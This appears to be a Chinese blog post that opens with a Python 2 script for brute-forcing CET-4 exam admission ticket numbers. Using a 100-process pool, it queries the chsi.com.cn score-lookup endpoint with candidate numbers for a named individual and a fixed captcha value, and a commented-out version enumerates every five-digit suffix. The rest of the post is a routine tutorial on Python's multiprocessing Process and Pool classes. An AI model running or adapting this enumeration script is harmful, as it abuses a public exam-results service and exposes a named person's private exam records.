多线程爆破cet4准考号

2018-07-24

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
from multiprocessing import Pool
tit='听'.decode('utf-8')
def ck(url):
    url1='http://www.chsi.com.cn/cet/query?zkzh=5100601711'+str(url)+'&xm=左松林&yzm=11'
    re1 = requests.get(url1)
    try:
        if tit in re1.text:
            print 'find:5100601711'+str(url)
        else:
            print '5100601711'+str(url)+'失败'
    except ZeroDivisionError, e:
        print e.message
    url2 = 'http://www.chsi.com.cn/cet/query?zkzh=5100611711' + str(url) + '&xm=左松林&yzm=11'
    re2 = requests.get(url2)
    try:
        if tit in re2.text:
            print 'find:5100611711' + str(url)
        else:
            print '5100611711' + str(url) + '失败'
    except ConnectionError, e:
        print e.message
if __name__ == "__main__":
    pool=Pool(100)
    f = open('G:\/1234.txt')
    list = []
    for line in f.readlines():
        line = line.strip('\n')
        list.append(line)
    pool.map(ck,list)
    pool.close()
    pool.join()
# u='http://www.chsi.com.cn/cet/query'
# tit='听力'.decode('utf-8')
# for a in range(0,10):
#     for b in range(0, 10):
#         for c in range(0, 10):
#             for d in range(0, 10):
#                 for e in range(0, 10):
#                     get='?zkzh=5100601711'+str(a)+str(b)+str(c)+str(d)+str(e)+'&xm=左松林'
#                     url=u+get
#                     re=requests.get(url)
#                     try:
#                         if tit in re.text:
#                             print 'find:5100601711'+str(a)+str(b)+str(c)+str(d)+str(e)
#                         else:
#                             print '5100601711'+str(a)+str(b)+str(c)+str(d)+str(e)+'失败'
#                     except ZeroDivisionError, e:
#                         print e.message

from multiprocessing import Pool
进程池
multiprocessing模块
看一下Process类的构造方法：
__init__(self, group=None, target=None, name=None, args=(), kwargs={})
参数说明：
group：进程所属组。基本不用
target：表示调用对象。
args：表示调用对象的位置参数元组。
name：别名
kwargs：表示调用对象的字典。
创建进程的简单实例：

#coding=utf-8
import multiprocessing
def do(n) :
  #获取当前线程的名字
  name = multiprocessing.current_process().name
  print name,'starting'
  print "worker ", n
  return
if __name__ == '__main__' :
  numList = []
  for i in xrange(5) :
    p = multiprocessing.Process(target=do, args=(i,))
    numList.append(p)
    p.start()
    p.join()
    print "Process end."

执行结果：
Process-1 starting
worker 0
Process end.
Process-2 starting
worker 1
Process end.
Process-3 starting
worker 2
Process end.
Process-4 starting
worker 3
Process end.
Process-5 starting
worker 4
Process end.
创建子进程时，只需要传入一个执行函数和函数的参数，创建一个Process实例，并用其start()方法启动，这样创建进程比fork()还要简单。
join()方法表示等待子进程结束以后再继续往下运行，通常用于进程间的同步。
注意：
在Windows上要想使用进程模块，就必须把有关进程的代码写在当前.py文件的if __name__ == ‘__main__’ :语句的下面，才能正常使用Windows下的进程模块。Unix/Linux下则不需要。

Pool类

在使用Python进行系统管理时，特别是同时操作多个文件目录或者远程控制多台主机，并行操作可以节约大量的时间。如果操作的对象数目不大时，还可以直接使用Process类动态的生成多个进程，十几个还好，但是如果上百个甚至更多，那手动去限制进程数量就显得特别的繁琐，此时进程池就派上用场了。
Pool类可以提供指定数量的进程供用户调用，当有新的请求提交到Pool中时，如果池还没有满，就会创建一个新的进程来执行请求。如果池满，请求就会告知先等待，直到池中有进程结束，才会创建新的进程来执行这些请求
下面介绍一下multiprocessing 模块下的Pool类下的几个方法

apply()

函数原型：
apply(func[, args=()[, kwds={}]])
该函数用于传递不定参数，主进程会被阻塞直到函数执行结束（不建议使用，并且3.x以后不在出现）。

apply_async()

函数原型：

apply_async(func[, args=()[, kwds={}[, callback=None]]])

与apply用法一样，但它是非阻塞且支持结果返回进行回调。

map()

函数原型：

map(func, iterable[, chunksize=None])

Pool类中的map方法，与内置的map函数用法行为基本一致，它会使进程阻塞直到返回结果。
注意，虽然第二个参数是一个迭代器，但在实际使用中，必须在整个队列都就绪后，程序才会运行子进程。

close()

关闭进程池（pool），使其不在接受新的任务。

terminate()

结束工作进程，不再处理未处理的任务。

join()

主进程阻塞等待子进程的退出，join方法必须在close或terminate之后使用。
multiprocessing.Pool类的实例：

import time
from multiprocessing import Pool
def run(fn):
  #fn: 函数参数是数据列表的一个元素
  time.sleep(1)
  return fn*fn
if __name__ == "__main__":
  testFL = [1,2,3,4,5,6]  
  print 'shunxu:' #顺序执行(也就是串行执行，单进程)
  s = time.time()
  for fn in testFL:
    run(fn)
  e1 = time.time()
  print "顺序执行时间：", int(e1 - s)
  print 'concurrent:' #创建多个进程，并行执行
  pool = Pool(5)  #创建拥有5个进程数量的进程池
  #testFL:要处理的数据列表，run：处理testFL列表中数据的函数
  rl =pool.map(run, testFL)
  pool.close()#关闭进程池，不再接受新的进程
  pool.join()#主进程阻塞等待子进程的退出
  e2 = time.time()
  print "并行执行时间：", int(e2-e1)
  print rl